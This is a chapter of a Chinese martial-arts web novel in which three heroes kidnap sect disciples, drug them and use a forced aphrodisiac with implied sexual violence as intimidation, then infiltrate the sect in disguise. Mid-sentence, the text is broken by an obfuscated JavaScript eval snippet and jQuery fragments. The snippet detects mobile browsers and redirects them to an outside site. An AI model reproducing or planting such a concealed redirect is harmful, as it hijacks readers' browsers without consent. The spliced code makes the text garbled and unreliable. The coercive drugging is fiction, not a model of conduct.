60. 成功潜入

作品:《拔剑挑潶白

    洛月城中,一间荒败的小院内,一辆马车静立其中,不远处的厢房内站着三个人,正是三乐等人。


    地上也横躺着三人,皆被绳索捆缚,口中塞布,正是被三乐等人劫来的潶鹤堡弟子。


    元澈在一旁点燃一炷香,淡淡的药香弥散在房中各处,钻进了地上三人的鼻中。


    少顷,其中一名弟子眼皮颤了颤,挣开了眸子。


    待他看清眼前情景时,顿时如临大敌,奋力挣扎起来!


    奈何全身无力,掀不起什么风浪,宛如身患风疾的老人,只能歪斜着身子,干瞪眼。


    此药这般厉害,乃是出自神医元治之手,名叫困身散,药如其名,将人困住,昏迷无力,与迷药有异曲同工之妙。


    可却也有不同,它需得与一味无色无味的苓散结合,苓散无毒,只有与困身散相撞,才能发挥其药效。


    下药之无形,让人无法察觉起疑,中药后之脉象同风疾类似,常被误诊,也更不易让人发觉。


    三乐上前一步,扯掉那人口中的黑布,冷声道:“你若乖乖听话,便饶你不死!”


    黑河看着眼前鬓边发白的老丈,虽眼中有俱意,却并未屈声应下。


    只是固执地仰着头,一副誓死不屈的模样。


    突然“唰”的一抹寒光,映在了他的颈上,让其骤然一怵!


    “你们三人姓甚名谁,只要如实道来,我便放你们几人……完完整整的回去。”三乐好言相劝。


    突然,话锋一转,厉声道:“如若不然,到时少了哪块,我可就不清楚了!”


    那黑河见状,虽抖了抖,但神情凛冽,仍不肯屈服。


    三乐不再废话,正欲动手,却被一旁的小简拦了下来。


    “等等,我有办法!”


    小简说罢,对着那黑河莞尔一笑,诡异非常。


    ……


    洛月城,城南主街上,一辆马车拖着大堆的粮袋缓缓驶过,停在了潶鹤堡门前。


    待马车停稳,驾马的那人迳自下车,敲响了大门。


    不到一息,门从里面打开,走出来一弟子。


    “原来是黑冶回来了!今日怎的比平常要晚?”


    那黑冶听罢,微微一愣,正欲开口,便见那弟子笑眯眯凑近道:“可又是去找那李寡妇了?”


    黑冶嘴角僵了一瞬,佯作赧然笑道:“小声点!”


    那弟子立直身子,识相的没再往下说,反而打趣起来。


    “嘚嘚嘚,我不说啦,还是你小子有口福,下次再有这等好事,记得带我也去玩玩!”


    黑冶僵笑着点头应下,随即驾着马车驶进了潶鹤堡。


    待马车驶离大门甚远,车帘才被掀开,从里面探出一头来。


    “若是没猜错的话,方才那人应当叫黑悟吧。”


    说话之人正是不久前,被三乐掳走的三名弟子中的——黑河。


    而此人并非真正的黑河,正是冒名顶替的小简!


    驾车的那人也不是黑冶,而是三乐。


    “你应叫那人悟哥才是。”小简身后,传来一小声叮咛。


    只见帘子一动,又钻出一脑袋,正是顶着一张陌生脸庞的元澈。


    三乐驾着马车驶过一道拱门,朝身后两人叮嘱道:“我们几个可得当心了,切忌少言慎行。”


    半个时辰前,三人将那三名弟子掳走后,从他们口中逼问出其身世资料,以及潶鹤堡的大小消息,非常之详细,小到连谁谁谁腚上有几颗痣,都能一一报来。


    此番功劳,还属小简最大!


    她小机灵一动,将三人掀了个干净,又将几人如叠罗汉一般,交叠在一块。


    随后,小简又拿出一份,从构栏之所买来的迷神散,又名仙人醉,此药十分霸道,专用于那些不听话,刚入行的新人,服下此药,再-硬的人也得软!


    小简钳制那名叫黑冶的弟子,在他忿恨的眼神中,猛地卸下其下巴,将一整包药尽数喂了下去。


    见其要吐,小简一个眼疾手快,一把扯掉他脚上的鞋,塞进了他嘴里。


    小简见其甚为憋屈的模样,十分爽心,心中暗骂:哼,叫你欺负人!


    干完这事,小简将那名叫黑河的弟子带出了房,随后吩咐元澈,将那黑冶身上的绳子解开。


    三乐见状,不禁拍手称赞,“小简,还得是你有损招!”


    一旁的元澈脸色忽红忽黑,神情莫测。


    几人出了门,将房门紧锁,只留下黑冶同另一名弟子在房中。


    不稍片刻,房中便发出宛若野兽般的粗-喘,以及一阵撕心裂肺的痛喊声。


    这一惊心动魄的喊叫,将门外几人,惊得皆是一震,就连小简也没想到,这药反应竟这般厉害!


    那小河已是惊得目瞪口呆,直冒冷汗,巴不得飞天遁地,逃出生天!


    “你可见识了硬气的后果?若是再不服软,且不如实说来,那下一个叫得这般撕心裂肺的,便是你!”


    小简说这话时,面目可憎,语气森然,又是一副老媪装扮,宛若一个恶鬼婆婆。


    连一旁的元澈,都忍不住一颤,更别提,那本就怯懦的黑河了!


    只见那黑河眸子里满是惊恐,不知是被眼前的人所吓,还是被房中,一阵更比一阵高的惨叫声,所惊着了。


    过了半响,方才见人点了头……


    ——


    潶鹤堡内,三乐几人驾着马车,按照那小河所说的方位,有惊无险地到了后厨。


    几人刚一下车,便见迎面走来一妇人,看摸样四旬有余,已是堡中的厨娘了。


    三乐收回打量的眼神,唤了一声:“李婶子。”


    那李婶子听罢,笑着应下,道:“黑冶回来啦,运这这百来斤的粮食可幸苦啦!”


    三乐客套道:“不幸苦!”


    说罢,同身后的两人一齐卸货。


    卸到最后,几乎全是由三乐一人干完,没办法,谁叫小简和元澈两人光吃饭,不长力气呢。


    原先两人碍于那李婶子在,不得不强装面不改色,轻松自如,待人走了,脸色顿变,纷纷气喘如牛,着实逗笑旁人。


    三乐瞧着这两人,忍不住发笑,大发慈悲道:“你俩可一边歇着去吧,别耽误我干活了!”


    小简听罢,只觉大获特赦,赶紧拉起一旁逞强的元澈,坐到墙角,歇起了身子。


    半响功夫过去,只见三乐站在马车前合掌搓手,整车的粮食已然卸了个干净。


    还好她在粮行干过,懂得些技巧,这番忙碌下来也不觉劳累。


    小简见人忙完了,赶紧上前奉承道:“哎呀,真是幸


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13687676|140650||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    苦啦!待会有何事全交由我来办便是!”


    说罢,小简双拳轻锤在三乐的肩上,按摩起来。


    三乐眯着眼,很是受用,道:“那成,今晚你可得帮我倒洗脚水!”


    ——


    洛月城,千日阁


    楼外竹影萧疏,秋风一扬,光影恍惚。


    袅袅余风透过一扇半开的窗门,吹进楼中,掀起了悬挂于床前的一片帐幔,招招摇摇,飘飘荡荡。


    床中人影忽隐忽现,直至露出一张绝色容颜,但这张脸,比平日里更没几分人色,白得骇人!


    若不是见他胸口伏动,怕以为是一死人了!


    突然,房门“咿呀”一声开了,一前一后进来了两个人。


    江洛见那扬起的帐幔,眉心一拧,连忙走至窗边,将那扇未关严时的窗合上。


    跟着江洛进来的还有一老丈,他手提一木箱,精神气很足。


    只见他于床边坐下,江洛见状,赶忙上前将帐幔掀开。


    “何老,请!”江洛语气颇为敬重。


    想来,此人身份不一般。


    这老丈名叫何岳,医术了得,潶墨白这些年的身子,都是交由他调养,也算是潶墨白的半个师父。


    一来二往间,何岳也教授了潶墨白一些医术,以防他不在身侧时,能勉强自顾。


    而潶墨白也是一点就通,甚至还自学了制毒之法,何岳对其也是连连称赞。


    可赞谀之余,却有几分可惜,可惜了好好一良才,竟落得这般下场,怕是要与一身病痛,相伴终身了。


    江洛见何岳收回手,久久不语,不禁焦急问道:“何老,阁主如何了?”


    潶墨白自春日楼出来,便晕厥了过去,幸好被何岳相救,强行喂下了一颗,据说能起死回身的药丸,才保住性命。


    但也只是保住了命,从暮至朝,从昼至夜,整整两日,始终未醒。


    何岳长叹了一口气,皱眉喝道:“怎的会弄成这般模样!他这身子你们又不是不知道,是万万不能再虚空的,这次可是在鬼门关走了一趟,若不是我手里还剩下一颗回神丸,不然,就算是阎王老子来了,也救不了他!”


    江洛垂头不敢言语,只能默默挨骂。


    待何岳气消了,他才讪讪开口道:“何老,阁主为何还不见醒?”


    撒完气,何岳语气稍缓,“他身子亏空得实在太多了,能不能醒,还得看他自己的造化了……”


    江洛猛然一震,连忙跪下哀求道:“何老,请您一定要救救阁主!阁主他,阁主命不该绝啊,他还有所未完成之事,整整十年啊,十年,他定不会轻易……”


    江洛一字一句,皆发着颤,声泪俱下,以至于话音已构不成句。


    何岳见其这般,实在不忍,委婉道:“我可没说他必死无疑,你们这几日且在身侧好好守着,汤药切勿断了,我均会每日为其诊脉行针,做的得当,他醒来……应当不是问题。”


    何岳此番话,也是心中所愿,当不得真,只是见江洛实在可怜,便说了大话,想要以此宽慰宽慰他。


    不知,他可解其中之意?


    而此话到了江洛耳边,宛若雪里送炭,让他欣喜万分,根本顾不得是真是假。


    何岳不再言语,摇了摇首,走出了门。


    ……